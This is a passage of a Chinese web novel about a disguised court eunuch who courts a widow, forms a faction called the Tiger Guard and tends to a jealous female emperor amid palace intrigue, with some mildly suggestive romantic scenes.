离开皇宫后，秦烨并未按照上官瑾的吩咐去巡视后宫，而是直奔城中而去。路上，他的思绪不断翻涌。 上官煜的势力在暗中蠢蠢欲动，青云教也是来势汹汹。若想在这乱局中保全自身，光靠一己之力显然不够。他需要自己的力量。 街道上行人如织，各色小贩的吆喝声此起彼伏。秦烨混在人群中，目光不时扫过街边的茶楼酒肆。这些地方往往是消息最灵通之处。 “听说了吗？藩王府又在招募护卫了。” “可不是嘛，听说给的银子特别多。” “我看啊，这藩王没安好心……” 零星的对话飘入耳中，秦烨眉头微皱。上官煜近来动作频繁，显然是在为什么做准备。 夕阳西斜，汴城街道上行人渐稀。秦烨迈着沉稳的步伐向前走去，身后两道人影如影随形，正是沈化林和韩九。 这两人都是影卫中的精锐，如今被上官瑾安排在秦烨身边。倒不是因为别的，只因汴城最近风波不断，秦烨作为上官瑾的心腹，还要奉旨调查要事，安全问题不容忽视。 街角传来一阵喧闹，几个醉汉摇摇晃晃地从酒楼里走出来。秦烨微微侧身避开，目光却不经意扫过酒楼二楼的窗户。窗后似乎有道人影一闪而过。 “看到了吗？”秦烨并未回头，声音很轻。 “看到了。”沈化林低声应道，“从我们出门就一直跟着，换了三次装扮。” 韩九握紧了腰间的佩刀，“要不要……” “不必。”秦烨摆了摆手，“既然有人想看戏，就让他们看个够。” 第一百二十章 陛下旨意 上次在皇宫门外的遭遇，让上官瑾心有余悸。虽说现在她对秦烨还有些怨气，但该有的防护却一点都不能少。秦烨能感受到暗处还有几道若有若无的目光，想必都是上官瑾安排的人手。 “沈大人，”韩九压低声音问道，眉头微皱，“咱们影卫什么时候沦落到给一个太监当保镖了？” 沈化林脚步一顿，转头看向韩九。夕阳的余晖映在他冷峻的脸上，更添几分肃杀之气。 “陛下的旨意，你有意见？” 韩九浑身一僵，冷汗顺着额角滑落。他这才想起，影卫向来只听皇命行事，何时轮到他来挑三拣四？ “属下失言。”韩九低头认错，声音中带着几分惶恐。 沈化林轻笑一声，眼中的寒意渐渐散去。说实话，跟在秦烨身边倒是轻松，这位公公待人和气，不像其他大人物那般趾高气扬。 三人来到赵马玄遗孀商媛的住处，门房远远看见秦烨，连忙小跑着迎上来。 “秦公公到！”门房弯腰行礼，脸上堆满笑容，“小的这就去通报……” “不必。”秦烨摆手制止，“我自己去就是。” 转头对身后二人吩咐道：“你们隐藏起来。” 沈化林和韩九会意，身形一闪，已然无影无踪。秦烨独自向商媛的院落走去，庭院里种着几株海棠，花瓣随风飘落，给这深秋的傍晚平添几分凄美。 远远地，他就听见房内传来细微的声响。 那是……女子的喘息声。 秦烨脚步一顿，耳根微微发热。他在宫中多年，什么没见过？这种声音再熟悉不过。显然，商媛正在做些私密之事。 他没有贸然推门，而是静静等在外面。说起来，商媛丧夫未久，又对自己似有情愫，用这种方式纾解寂寞，倒也情有可原。 过了好一会，房内的声响渐渐平息。秦烨这才轻叩房门：“嫂嫂，是我。” “啊！”商媛惊呼一声，声音里带着慌乱，“秦贤弟且……且等一下！” 房内传来窸窸窣窣的穿衣声，还有急促的脚步声。约莫一盏茶的功夫，房门才被打开。 商媛面若桃花，眼波流转，整个人散发着一种慵懒的媚态。她强作镇定道：“贤弟怎么来了？” 秦烨走进房内，一股暧昧的气息扑面而来。他装作没注意到床上凌乱的被褥，以及那副还未来得及收起的画像。那画上的人影，分明就是自己。 屋内的摆设很是精致，处处透着女子的心思。一盏青瓷小灯散发着柔和的光晕，照得商媛的脸庞愈发动人。 “嫂嫂，”秦烨正色道，“我有要事相商。” 商媛这才发现自己的失态，连忙将画像藏到身后，俏脸更红了：“有什么事，咱们……咱们去花园说吧。” 秦烨点头应允。看着商媛慌乱的样子，他心中暗叹。这位美艳的寡妇对自己的心思，他又何尝不知？只是眼下还有要事在身，这些儿女情长，只能暂且搁置。 二人来到花园，月色已经初上。商媛已经平复了心绪，但看向秦烨的眼神中，依旧带着几分羞意。 两人寻了处僻静的亭子坐下。亭子四周花木扶疏，芳草萋萋，一阵晚风拂过，带来阵阵花香。商媛的发丝被风轻轻吹起，在月光下显得格外柔美。 房梁之上，沈化林和韩九正暗中监视。这是皇上的命令，要他们寸步不离地保护秦烨。两人身着夜行衣，与黑暗融为一体，若不仔细观察，根本发现不了他们的存在。 “那女人是谁？”韩九压低声音问道，眉头紧锁。他是新调来的影卫，对秦烨的情况还不太了解。 沈化林不耐烦地瞥了他一眼：“玄铁会赵马玄的遗孀。”说着，他调整了下蹲姿，继续专注地观察着下方的情况。 “秦公公跟她在一起做什么？”韩九又问，语气中带着几分疑惑。作为影卫，他对任何可疑的情况都保持着高度警惕。 “管那么多做什么，咱们只负责保护。”沈化林显然不想多说，他的注意力始终集中在秦烨身上。 韩九却不依不饶：“身为影卫，咱们得对得起皇上的信任，必须把秦公公的一举一动都看清楚。这可关系到皇上的安危。” 沈化林冷哼一声：“你懂什么？秦公公可不是普通人。” 亭中，秦烨看着身边的商媛。月光下，她的侧脸显得格外柔美，眼中闪过一丝特殊的情愫，这让秦烨想起方才在房中看到的那一幕。那时的商媛，是那样的……动人。 “嫂嫂最近别想太多，保重身子要紧。”秦烨轻声安慰道，声音温和而富有磁性。 商媛不自觉地靠在他肩上，眼中泛起水雾：“赵马玄走得太突然了……”她的声音有些哽咽，显然还沉浸在丧夫之痛中。 秦烨轻轻拍着她的背：“人死不能复生，嫂嫂要振作起来。”他的手掌温暖有力，让商媛感到一丝安心。 阁楼上，柳霜华正巧看到这一幕。她站在窗前，月光透过窗棂洒在她清丽的面容上。看着亭中亲昵的两人，她心中莫名涌起一股酸意，连忙别过脸去。 自从知道秦烨是太监后，柳霜华刻意与他保持距离。可此刻看到他与商媛如此亲近，心里却泛起阵阵涟漪。她不由自主地抚上胸口，那里传来阵阵钝痛。 “我刚才……在房里……”商媛俏脸绯红，欲言又止。她低着头，手指不安地绞着衣角。 秦烨笑道：“嫂嫂是说那件事吧？这很正常，不必介怀。”他的语气轻松自然，仿佛在谈论一件再平常不过的事情。 “你……你都知道了？”商媛惊讶地看着他，眼神有些慌乱。 “我进门时正好看到，嫂嫂也不必觉得难为情。”秦烨神色自然，“人有七情六欲，这都是常事。” 商媛羞得低下头：“你会不会觉得我……不检点？”她的声音细若蚊蝇，带着几分忐忑。 “怎会？”秦烨正色道，“嫂嫂刚失去丈夫，心中郁结，借此发泄也是人之常情。” “真的？”商媛将信将疑地看着他，眼中带着几分期待。 “当然。”秦烨点头，“这就像饿了要吃饭，渴了要喝水一样自然。人的欲望，本就是天性。” 第一百二十一章 人之常情 听秦烨这么说，商媛稍稍放下心来。她偷偷打量着秦烨，发现他的目光清澈见底，没有丝毫轻视或鄙夷。 “只是……”秦烨欲言又止，目光中带着几分深意。 “只是什么？”商媛不由自主地追问道。 “只是嫂嫂一个人解决，终究不是长久之计。”秦烨意有所指地说，声音低沉而富有磁性。 商媛霎时明白过来，俏脸更红了：“你……你这是什么意思？”她的呼吸有些急促，胸口微微起伏。 “我的意思是……”秦烨凑近她耳边，温热的气息拂过她的耳垂，“若嫂嫂需要，我随时可以效劳。” “你……你不是……”商媛惊讶地看着他，美目中满是难以置信。 秦烨神秘一笑：“嫂嫂以为我真的是太监？” “难道……”商媛美目圆睁，呼吸变得更加急促。 “这事说来话长。”秦烨正色道，“总之，我秦烨虽在宫中当差，却是完完整整的男儿身。” 商媛呼吸急促起来：“你骗我的吧？”她的声音有些发颤，眼中隐含期待与惊慌。 “要不要试试看？”秦烨挑眉道，嘴角勾起一抹意味深长的笑。 商媛羞得说不出话来，只是脸越来越红。月光下，她的肌肤如同上好的羊脂玉，泛着诱人的光泽。 秦烨将手中的锦盒递给商媛，嘴角带着一丝意味深长的笑意。阳光透过窗棂，在他脸上投下斑驳的光影。 “嫂嫂，这东西你收着，对你有好处。”他的声音轻柔，带着几分关切。 商媛接过锦盒时，指尖微微颤抖，一抹红晕悄然爬上脸颊。 打开锦盒的瞬间，商媛呼吸一滞。里面赫然是一个精致的玉制阳具，晶莹剔透，散发着淡淡的寒意。 “这……这……”商媛顿时语无伦次，纤细的手指紧紧攥住锦盒边缘。 秦烨轻笑着向前一步，压低声音道：“嫂嫂不必害羞，这几日你的烦恼我都看在眼里。”他的目光在商媛脸上流连，“人有七情六欲，这都是正常的。” 商媛急忙将锦盒合上，垂着头，声若蚊蝇：“多谢秦公公体恤。”她的睫毛微微颤动，像是被风吹动的蝶翼。 远处房顶上，沈化林百无聊赖地望着天空。 倒是身旁的韩九，如同一尊雕塑般纹丝不动，目不转睛地盯着秦烨和商媛的一举一动。他的手按在腰间的佩刀上，随时准备出手。 “老韩，你这么死盯着看，眼睛不酸吗？”沈化林打了个哈欠，伸了个懒腰。 韩九绷着脸，一字一顿道：“这是职责所在，容不得半点马虎。”他的眼神越发锐利，“我得靠近些，听听他们在说什么。” 沈化林无奈地摇头：“陛下是让我们保护秦公公，又不是让我们监视他。你这样做，反倒显得咱们小人之心了。” “话可不能这么说。”韩九皱眉，警惕道，“秦公公虽是太监，却经常出入宫廷要地，与这寡居女子私下接触，难保没有什么不轨之心。” “更何况这女子的身份……”韩九欲言又止，手指无意识地敲击着刀鞘。 沈化林打断道：“你想多了，秦公公为人正直，不会做那些勾当。再说了，他是太监，能有什么非分之想？” 韩九冷哼一声：“大奸大恶之徒，哪个不是表面一套背地一套？这事必须向陛下禀报。” 说罢，韩九纵身一跃，身形如鹰隼般掠过房脊，转眼消失在远处。 沈化林望着韩九远去的背影，暗自摇头。这位同僚的性子太过认真，怕是要自找麻烦了。 皇宫内，上官瑾正在批阅奏章。她的脸色略显苍白，时不时咳嗽几声。昨夜忍不住和秦烨胡闹了一番，今日竟染上了风寒，浑身提不起劲。 她揉了揉太阳穴，强迫自己继续专注于手中的公文。这些奏章看似琐碎，却关系着万民生计，容不得半点马虎。 突然，急促的脚步声由远及近。 韩九快步入殿，跪地行礼：“陛下，臣有要事禀报。”他的声音中带着几分急切。 上官瑾心头一紧，手中的朱笔微微一顿：“可是秦烨出事了？” “回陛下，秦公公无事。”韩九道，“只是臣发现他与玄铁会帮主赵马玄的夫人私下会面，还赠送了什么物件……” 上官瑾柳眉微蹙，指尖不自觉地捏紧了奏章。秦烨竟然和一个寡妇私会？她心中莫名涌起一股不悦。 转念一想，自己堂堂一国之君，为何要在意一个奴才的私事？这种情绪来得莫名其妙，却又挥之不去。 上官瑾强压下心中异样，冷声道：“韩九，朕让你做什么来着？” “陛下命臣保护秦公公……”韩九的声音渐渐低了下去。 “既是保护，为何要来禀报这些无关紧要的事？”上官瑾的语气越发冰冷。 韩九慌忙解释：“臣是担心……” “够了！”上官瑾猛地拍案而起，“秦烨的私事无需向朕汇报，你退下吧。” 韩九满脸惶恐，连连叩首，匆忙退出大殿。 上官瑾望着殿门，久久无法平静。她不明白，为何听到秦烨与那寡妇来往，心中会如此烦躁。那股酸涩的感觉，就像是一根刺，深深扎在心里。 难道真如传言所说，她对这个奴才…… 上官瑾猛地摇头，将这荒唐的念头驱散。她是九五至尊，怎能对一个下人动心？这简直是天方夜谭。 可那股挥之不去的醋意，却如跗骨之蛆，萦绕在心头，让她坐立难安。 而另一边，秦烨看着商媛离去的背影，嘴角露出一丝意味深长的笑容。这位寡居的嫂嫂，终究是按捺不住寂寞。送她这件“礼物”，也算是一份善意。 至于那两个跟踪的影卫，秦烨根本没想过避开他们。 无非是一个太监送寡妇一件玩物罢了。谁又能想到，这小小的玉器中，竟蕴含着他的一丝真气。 这真气虽然微弱，却能助商媛修炼。只要她按照玉器中暗藏的功法运转，不出半月，就能打通玄阳心脉。 秦烨转身离去，心中盘算着下一步计划。既然已经在汴城站稳脚跟，是时候扩大影响力了。而商媛，不过是他布下的第一枚棋子。 沈化林远远望着秦烨的背影，若有所思。这个看似普通的太监，举手投足间总给人深不可测之感。难怪陛下如此重视他。 不过这些都与他无关，他的职责只是保护。至于其他的，就让那些爱管闲事的人去操心吧。 第一百二十二章 女帝吃醋 夜幕降临，皇宫内灯火通明。 上官瑾放下手中的奏章，揉了揉酸痛的肩膀。今日的政务特别繁重，可她的心思却总是不由自主地飘向秦烨。 那个神秘莫测的太监，到底在打什么主意？为何要接近赵马玄的遗孀？他给那女人的究竟是什么东西？ 上官瑾知道自己不该过分关注这些，可就是控制不住。每当想到秦烨可能与其他女子有染，心中就涌起一股难以言喻的烦闷。 或许，她真的对秦烨…… “不可能！”上官瑾猛地站起身，玉手重重拍在案几上。 【我是帝王，怎能对一个太监动心？这绝对不允许发生！】 可那抹挥之不去的醋意，却如跗骨之蛆，萦绕在心头。 上官瑾的心绪久久难以平复。 她强迫自己将注意力集中在案头的奏折上，可那些字迹却如同跳动的蚂蚁，让她无法静心。烛光在微风中轻轻摇曳，在案几上投下摇晃的阴影。她揉了揉发胀的太阳穴，指尖触及额角时还能感受到那里跳动的青筋。 “陛下，该用膳了。”门外传来宫女轻柔的提醒。 上官瑾没有应声，她的目光依旧停留在那份奏折上。突然，一行字迹映入眼帘，让她浑身一震。 “该死的乱臣贼子！”她一拳砸在案几上，茶盏随之跳动，洒出的茶水沾湿了几份奏折的边角。 又过了几日，秦烨再次拜访商媛。 庭院中，秦烨正与商媛相对而坐。阳光透过树叶的缝隙洒落，在地上投下斑驳的光影。微风拂过，带来阵阵花香。 “这些日子还好吗？”秦烨端起茶杯，目光温和地看着对面的女子。 商媛低垂着眼帘，纤细的手指轻轻摩挲着茶杯边缘：“托你的福，一切都好。只是……”她的声音突然哽咽，眼角泛起泪光。 秦烨伸手轻轻握住她的手：“嫂嫂，赵兄的事我一定会查个水落石出。” 阁楼上，柳霜华静静地看着这一幕。春风拂过她的面庞，却带不走心头的酸涩。她看着秦烨温柔地安慰商媛，那般亲密的模样让她心如刀割。 “又在这里偷看。”身后突然响起一个调侃的声音。 柳霜华转身，看到沈飞雪正倚在门框上，嘴角挂着玩味的笑容。 “我……我只是恰好路过。”柳霜华慌乱地解释。 沈飞雪走到她身边，顺着她的目光望去：“这位商媛姐姐，确实是个难得的美人。”她意有所指地说道，“不过你也不差。” 柳霜华咬着嘴唇，没有说话。 “嫂嫂，玄铁会还剩多少人手？”楼下，秦烨终于说出此行的真正目的。 商媛的神色变得凝重：“那场血洗之后，帮中精锐所剩无几。汴城内还有七八个高手，十几个普通帮众。外地的兄弟们……怕是早已各自散去了。” “我想重建玄铁会。”秦烨直视商媛的眼睛，语气坚定。 商媛微微一怔：“你是认真的？” “从未如此认真过。”秦烨点头，“但我需要嫂嫂的帮助，联络这些旧部。” “这是自然。”商媛毫不犹豫地答应，眼中闪过希望的光芒。 房顶上，沈化林百无聊赖地躺着，看着韩九从宫中归来。 “怎么样？陛下那边的态度如何？”沈化林笑着问道。 韩九没好气地瞪了他一眼：“你明知道会这样，为何不拦我？” “就你那股倔劲，谁拦得住？”沈化林摇头轻笑，“现在总算明白陛下对秦公公的态度了吧？” 韩九重重地叹了口气，在沈化林身边坐下。 就在这时，武勇和沈飞雪出现在后院。商媛连忙从秦烨怀中挣脱，整理了一下衣襟。 “恩公今日怎么有空来此？”武勇快步上前行礼。 “来看看嫂嫂和你们。”秦烨笑道，目光落在沈飞雪身上，“小师妹的伤势如何？” “已无大碍。”武勇抢着回答，眉间却带着一丝忧色。 秦烨敏锐地察觉到了异常：“可是遇到什么麻烦了？” 武勇环顾四周，压低声音道：“刚打探到消息，青云教正在暗中清剿汴城的地下势力。那些帮派要么被灭，要么被迫投靠。他们是想一统汴城地下世界。” 秦烨眉头紧皱：“这个消息很重要。最近可有什么帮派遭殃？” “听说玄武帮已经投靠了青云教。”武勇叹息道，“应龙堂被灭，凤凰门闭门不出。现在整个汴城地下世界人心惶惶。” 秦烨沉吟片刻：“我准备组建一支势力，你们可愿意加入？” “恩公看得起武勇，武勇自当效犬马之劳。”武勇立刻表态。 沈飞雪却撇了撇嘴：“组建势力可不是儿戏，你确定自己能行？” “师妹！”武勇连忙呵斥。 秦烨却笑了：“小师妹说得对，这确实不容易。不过有你们相助，我相信一定能成。” “哼，说得倒是好听。”沈飞雪转过头去，但眼中却闪过一丝异样的光芒。 沈飞雪的话让房间里的气氛瞬间凝固。 秦烨轻笑一声，向武勇使了个眼色。武勇原本紧握的拳头缓缓松开，但眼中的怒意依然未消。 “小师妹说得不无道理。”秦烨端起茶杯，茶水已经凉了，他却不以为意地抿了一口，“建立一个势力，确实不是易事。” 沈飞雪得意地扬起下巴，长发随着她的动作轻轻晃动：“最关键的是人手问题。就凭我们这几个人，能成什么大事？”她的目光在房间里扫视一圈，似乎在强调在座之人的寥寥可数。 “玄铁会的人马会全部归顺秦烨。”商媛突然开口，语气坚定。 沈飞雪愣了一下，显然没料到商媛会如此力挺秦烨。她很快调整情绪，继续说道：“玄铁会帮主都已经被芮容霄杀了，那些人未必会听嫂嫂的。” 秦烨放下茶杯，瓷器与木桌相碰发出轻微的声响。他早就料到沈飞雪会有这样的质疑。不过这反而更坚定了他的决心，一个势力的建立，本就需要经受住质疑和考验。 “事在人为，总要试试。”秦烨转向商媛，“嫂嫂，我这就派人去联络他们。” 得到商媛的首肯后，秦烨立即唤来沈化林。沈化林站在门口，身形笔直如松，听着秦烨详细交代联络方式。 “务必小心行事，”秦烨叮嘱道，“若遇到可疑之人，立即撤离。” 沈化林点头应下，转身离去时脚步轻盈，仿佛踩在棉花上。 第一百二十三章 召集旧部 等待的时间总是漫长的。沈飞雪百无聊赖地把玩着手中的玉佩，时不时瞥向秦烨。这个男人总是一副胸有成竹的模样，让人看不透他究竟在想什么。 武勇则在院子里来回踱步，脚步声透着焦躁。他不时抬头望向大门的方向，期待着沈化林带回好消息。 商媛坐在廊下的藤椅上，目光飘向远处。她想起丈夫在世时的种种，眼眶不自觉地湿润了。秦烨递来一方手帕，她道了声谢，轻轻擦拭眼角。 一个时辰后，院门被推开，沈化林带回了三个人。他们的衣着虽然朴素，但举手投足间透着江湖中人特有的警觉。 柳霜华将他们引到后院，三人一见到商媛，立即躬身行礼：“夫人。”声音整齐划一，显然平日里极有规矩。 秦烨仔细打量着三人。两男一女，那女子约莫二十出头，容貌不俗，只是皮肤略显粗糙，想必常年在江湖上奔波所致。左边的男子年纪较轻，腰间别着一柄短刀，右边的老者须发花白，但精神矍铄。 “你们能来，我很高兴。”商媛的声音有些哽咽。她心里其实没什么把握，毕竟玄铁会已经覆灭，帮主惨死，她这个帮主夫人还能否号召人心，着实令她忐忑。 “帮主之死，我至今心痛。”商媛强忍泪水，手指紧紧攥着手帕，“我们玄铁会遭此大难，这个仇不能就这么算了。” 三人异口同声：“定当为帮主报仇！”他们的眼中闪烁着坚定的光芒，显然对帮主的死都耿耿于怀。 商媛指向秦烨：“这位是秦烨，是帮主生前的挚友。” 三人立即向秦烨行礼：“秦大人。”动作恭敬，显然已经从沈化林那里听说了秦烨的本事。 “不知三位如何称呼？”秦烨微笑着问道。 “在下褚煦。”年轻男子抱拳道。 “秦韶华。”女子微微欠身。 “老夫鬱风。”白发老者捋了捋胡须。 秦烨点头致意：“有三位相助，为张兄报仇指日可待。” 三人的眼神更加坚定。这些日子以来，他们一直在暗中调查，但都知道凶手实力非凡，连帮主都不是对手。若是单打独斗，恐怕难以为继。如今有秦烨这样的强者愿意主持大局，他们自然要全力相助。 秦韶华忽然问道：“秦大人，我们这个新组建的势力，该叫什么名字？总要有个响亮的称号。”她的声音清脆，带着几分期待。 秦烨早有腹案：“就叫虎卫如何？” “虎卫？”众人眼前一亮。 这个名字朗朗上口，又带着一股威势。三人纷纷点头称好。褚煦更是兴奋地说道：“好名字！虎啸四海，正合我们复仇之志！” 鬱风捋着胡须点头：“确实不错，简单有力，又寓意深远。” 沈飞雪在一旁默默听着，不得不承认，这三人的实力都不容小觑。虽然比不上一流高手，但也都是江湖上的好手。看来秦烨组建势力确实不是心血来潮，而是早有准备。 她暗自思忖，要不要加入这个新成立的虎卫。虽然心中仍有疑虑，但不可否认，秦烨的魄力和手段确实令人刮目相看。 “既然大家都觉得这个名字不错，那就这么定了。”秦烨站起身，目光扫过在场每一个人，“从今以后，我们就是虎卫。” 他的声音不大，却带着一股无形的力量，让人不由自主地想要追随。这就是他的魅力所在，也是为什么他能在短时间内就得到这么多人的支持。 商媛看着眼前这一幕，眼中泛起泪光。若是丈夫在天有灵，想必也会支持秦烨的决定。毕竟，这是为他报仇的第一步，也是重振玄铁会威名的开始。 鬱风站在一旁，眼中闪过一丝欣慰。他在江湖上摸爬滚打几十年，还是第一次见到像秦烨这样的年轻人。不仅有胆识，更有谋略，最重要的是懂得用人之道。 褚煦和秦韶华对视一眼，都从对方眼中看到了希望。这段时间的东躲西藏，终于要结束了。有了秦烨的庇护，他们不用再担心被仇家追杀。 “接下来，我们要尽快打探芮容霄的下落。”秦烨的声音变得严肃，“他不会想到我们这么快就组织起来，这是我们的优势。” 鬱风沉吟道：“老夫这些日子一直在暗中打探，发现芮容霄似乎和一个叫"玄武会"的组织有关。” “玄武会？”秦烨眉头微皱，“这个组织很神秘，连朝廷都摸不清他们的底细。” 秦韶华补充道：“我曾经在城南见过一个可疑的人，他和玄武会的人接头。如果需要，我可以去那边盯梢。” “不行。”秦烨断然拒绝，“太危险了。我们现在最重要的是稳扎稳打，不能轻举妄动。” 沈飞雪突然开口：“我倒是知道一个消息。”所有人的目光都集中到她身上，“城西的醉月楼最近来了一批神秘客人，他们行事诡秘，很可能和玄武会有关。” 秦烨眼睛一亮：“这个消息很重要。”他转向沈化林，“你带几个人去醉月楼周围打探，要小心行事。” 沈化林领命而去，身影很快消失在院门外。 “我们现在最缺的就是情报。”秦烨环视众人，“要想报仇，就必须知己知彼。” 鬱风点头赞同：“确实如此。老夫在江湖上还有些老关系，可以帮忙打探消息。” “那就有劳鬱老了。”秦烨拱手道。 虎卫成立后，秦烨立刻着手安排人手扩充的事宜。 庭院内，几株老梅傲然绽放，暗香浮动。秦烨站在廊下，目光扫过眼前的几人。虽然各有本事，但要想在这汴城立足，远远不够。 “诸位，虎卫初立，百废待兴，还望大家多多出力。”秦烨的声音不疾不徐，带着几分诚恳。 武勇抚了抚剑柄，第一个表态：“秦兄放心，我定当竭尽全力。”说着，他瞥了眼站在角落的沈飞雪。 沈飞雪倚在廊柱旁，一袭红衣随风轻扬，神色淡漠。这位出身名门的女子对虎卫显然兴趣寥寥。在她看来，这种小组织与她家族的势力相比，简直不太值得一提。 “沈姑娘，你的意思呢？”武勇忍不住问道。 沈飞雪轻轻抬眸，眼中闪过一丝不耐：“我答应过便不会反悔。”语气中带着几分高傲。 武勇暗自摇头。若非他一再劝说，加上秦烨确实救过沈飞雪一命，这位大小姐怕是连正眼都不会瞧虎卫一下。 沈飞雪心里打的是另一番算盘——借助虎卫的力量，调查紫电剑的秘密，顺便查清青云教在汴城的动向。至于虎卫本身，她并不在意。 “来来来，都别站着了。”柳霜华端着酒壶走来，“我准备了些酒菜，大家坐下说话。” 第一百二十四章 关心女帝 酒过三巡，气氛渐渐热络起来。秦烨却有些心不在焉，时不时望向宫城方向。 上官瑾昨晚染了风寒，不知现在好些了没有？想到她咳嗽连连的模样，秦烨心中一阵烦躁。 “诸位，我还有些公务要处理，先行告退。”秦烨起身向众人告辞。 “这就走了？”柳霜华有些失望，“我还准备了……” “改日再聚。”秦烨笑着摆摆手，快步往宫里赶去。 宫城的石板路上，远处传来一阵嘈杂声。秦烨驻足望去，只见一群工匠正在官员带领下往宫里走。 “怎么回事？”秦烨叫住一个太监询问。 那太监连忙躬身，脸上堆满谄媚：“回总管的话，是张才人宫里的墙塌了，这是叫人去修。” “张才人？”秦烨眉头紧蹙。这位张才人是上官瑾的妃子之一，其父张马临与赵马康有所勾结。正因如此，秦烨一直刻意疏远她，至今未得侍寝。 如今她宫中突然墙塌，未免蹊跷。秦烨从怀中取出一锭银子，递给太监：“去多找几个人，盯着这些工匠，有什么异常立即来报。” “是，小的明白。”太监千恩万谢地退下了。 秦烨快步往承明殿走去，心中盘算着这事的蹊跷之处。宫中每一件小事背后，都可能藏着致命的危机。 走进承明殿，檀香袅袅，只见上官瑾正伏案批阅奏章，一阵咳嗽不止。她的脸色苍白，眉间带着疲惫。 “陛下，您都病着了，这些奏章暂且放一放吧。”秦烨走到她身后，轻轻为她捏肩。 上官瑾白了他一眼：“国事要紧。”声音有些沙哑。 “身体更要紧。”秦烨的手法轻柔，“您要是累垮了，这江山谁来管？” 上官瑾享受着他的按摩，却想起韩九今日的禀报——说秦烨与一位美貌妇人相谈甚欢。她心里泛起一丝酸意，却又觉得自己这般在意实在不该。 “你今天跑哪儿去了？”她状似随意地问，目光却紧盯着案上的奏章，不敢看他。 秦烨轻笑：“陛下这是查岗呢？” “谁查你的岗了！”上官瑾俏脸一红，“朕只是随便问问。”她低下头，又是一阵咳嗽。 “今日去了趟汴城商会会长家。”秦烨如实相告，却没提沈飞雪的事。他知道上官瑾心中的芥蒂，但有些事，暂时还不能说。 上官瑾欲言又止，手指无意识地摩挲着奏章边缘。她知道自己不该这般在意秦烨的私事，可心里就是酸溜溜的。 “对了，”秦烨忽然想起什么，“张才人那边出了点事。” “怎么了？”上官瑾放下手中的奏章，神色微凝。 “她宫里的墙塌了，刚叫了些工匠进宫修缮。” “墙塌了？”上官瑾蹙眉，“她那宫殿不是去年才修葺过？” “正是因此，微臣觉得蹊跷。”秦烨沉声道，“已经安排人盯着那些工匠了。” 上官瑾点点头：“你做得对。这宫里，确实处处要当心。”她话音未落，又是一阵剧烈的咳嗽。 秦烨连忙给她顺气，同时暗暗警惕——这风寒来得蹊跷，该不会也是有人在背后搞鬼吧？ 想到这里，秦烨的眼神渐渐冷了下来。他的手指无意识地收紧，又怕弄疼了上官瑾，连忙放松。 这时，外面传来太监尖细的禀报声：“陛下，李贵妃来了。” “让她进来。”上官瑾说着又是一阵咳嗽。 秦烨看着她苍白的脸色，心中一紧。这宫里的水太深，他必须加倍小心才是。 李贵妃款款而入，一身华服，珠光宝气。她先是向上官瑾行礼，又向秦烨点头示意：“秦总管也在啊。” “贵妃娘娘。”秦烨微微颔首。 “听闻陛下染了风寒，妾身特地来看看。”李贵妃走到上官瑾身边，关切地说道。 上官瑾摆摆手：“无碍，不过是小病。” “陛下可不能这么说。”李贵妃蹙眉，“这风寒来得蹊跷，还是要当心些。妾身带了些汤药来，陛下不妨试试。” 她说着让宫女端上一碗药汤，热气腾腾。 秦烨眼神一凛，上前一步：“有劳贵妃娘娘费心了。不过陛下已经服过太医开的药，暂时不宜再服用其他药物。” 李贵妃脸色微变：“秦总管这是什么意思？难道怀疑妾身……” “贵妃误会了。”秦烨淡淡道，“微臣只是按太医的叮嘱行事。” 上官瑾看了看两人，轻咳一声：“贵妃好意，朕心领了。这药还是留着吧。” 李贵妃面上露出失望之色，却又很快恢复如常：“也好，那妾身改日再来看望陛下。” 等李贵妃离开，秦烨才松了口气。他看着那碗未动的药汤，眼神阴沉。这宫里，当真是步步惊心。 “你觉得有问题？”上官瑾低声问。 秦烨沉吟片刻：“不敢确定。但这风寒来得诡异，还是小心为上。” 上官瑾点点头，又是一阵咳嗽。秦烨连忙帮她顺气，“陛下好好休息，其他事交给微臣处理就是。” 看着上官瑾疲惫的样子，秦烨心中颇有些心疼。 “陛下，臣建了一个组织。”他开口道，声音沉稳有力。 上官瑾的目光在秦烨脸上停留片刻，冷哼一声：“为你所用？” “自然是为陛下效力。”秦烨微微一笑。 “油嘴滑舌。”上官瑾偏过头，“今日见了那么多人，想必很是开心？” 秦烨听出她话中的醋意，心中暗笑。这位高高在上的女帝，此刻倒像个吃醋的小女人。 “确实见了不少人。”他故意道，“特别是几个女子，让人印象深刻。” 上官瑾的手指微微攥紧，指节泛白，却强装镇定：“哦？说来听听。” “商媛，那位玄铁会前帮主的遗孀。”秦烨缓缓踱步，“一袭红裙，风情万种。柳霜华，商会会长之女，气质出众。还有沈飞雪，江湖儿女的豪气……” “够了！”上官瑾猛地转头，眼中闪过一丝怒意，玉手紧握成拳。 秦烨却不以为意，继续道：“秦韶华也不错，虽然皮肤粗糙了些，但身材……” “秦烨！”上官瑾咬牙切齿，胸口剧烈起伏。 秦烨突然上前一步，双手搭在上官瑾肩上。她下意识想要躲开，却被他牢牢固定。“不过都比不上一个人。” “谁？”上官瑾下意识问道，声音微颤。 “上官瑾。” 这三个字轻轻落下，上官瑾俏脸一红，心跳不由加快。 “哄我开心罢了。”她别过脸去，却掩饰不住嘴角的笑意。 秦烨松开手，正色道：“我建立虎卫，是为了肃清汴城暗处的势力。青云教已经渗透进来，不得不防。” “你需要什么？” “影卫的调动权。” 上官瑾陷入沉思。片刻后，她抬眼道：“准了。” 第一百二十五章 好好休息 话音刚落，上官瑾突然感到一阵眩晕，身子不由自主地向前倾斜。秦烨眼疾手快，一把扶住她纤细的腰肢：“陛下身子还未痊愈，该好好休息。” 不等上官瑾反应，秦烨已将她打横抱起。她本能地搂住他的脖子，随即意识到这个姿势有多暧昧，俏脸更红了。 “你……你要做什么？”上官瑾慌乱道，呼吸微乱。 “陛下想到哪去了？”秦烨轻笑，温热的气息拂过她的耳畔，“只是让你好好休息。” 将上官瑾轻轻放在床榻上，秦烨细心地为她盖好被子。锦被上绣着的金线在烛光下闪烁，映衬着她如玉的肌肤。 “我去煎药，陛下乖乖躺着。” 看着秦烨的背影，上官瑾心中泛起一丝暖意。从小到大，还从未有人这般照顾过她。即便是最亲近的宫女，也不敢如此放肆。可偏偏，她竟不讨厌这种感觉。 殿外传来脚步声，秦烨端着药碗回来。药汤的苦涩气息在空气中弥漫。 “很苦。”上官瑾皱眉，小巧的鼻子微微皱起。 “我喂你。”秦烨舀起一勺，轻轻吹凉。他的动作极尽温柔，仿佛在对待什么珍贵的宝物。 上官瑾看着眼前的男人，心中突然涌起一股异样的情愫。那个平日里运筹帷幄的谋士，此刻却像个温柔的情人。她鬼使神差地张开樱唇，任由他将药喂入口中。 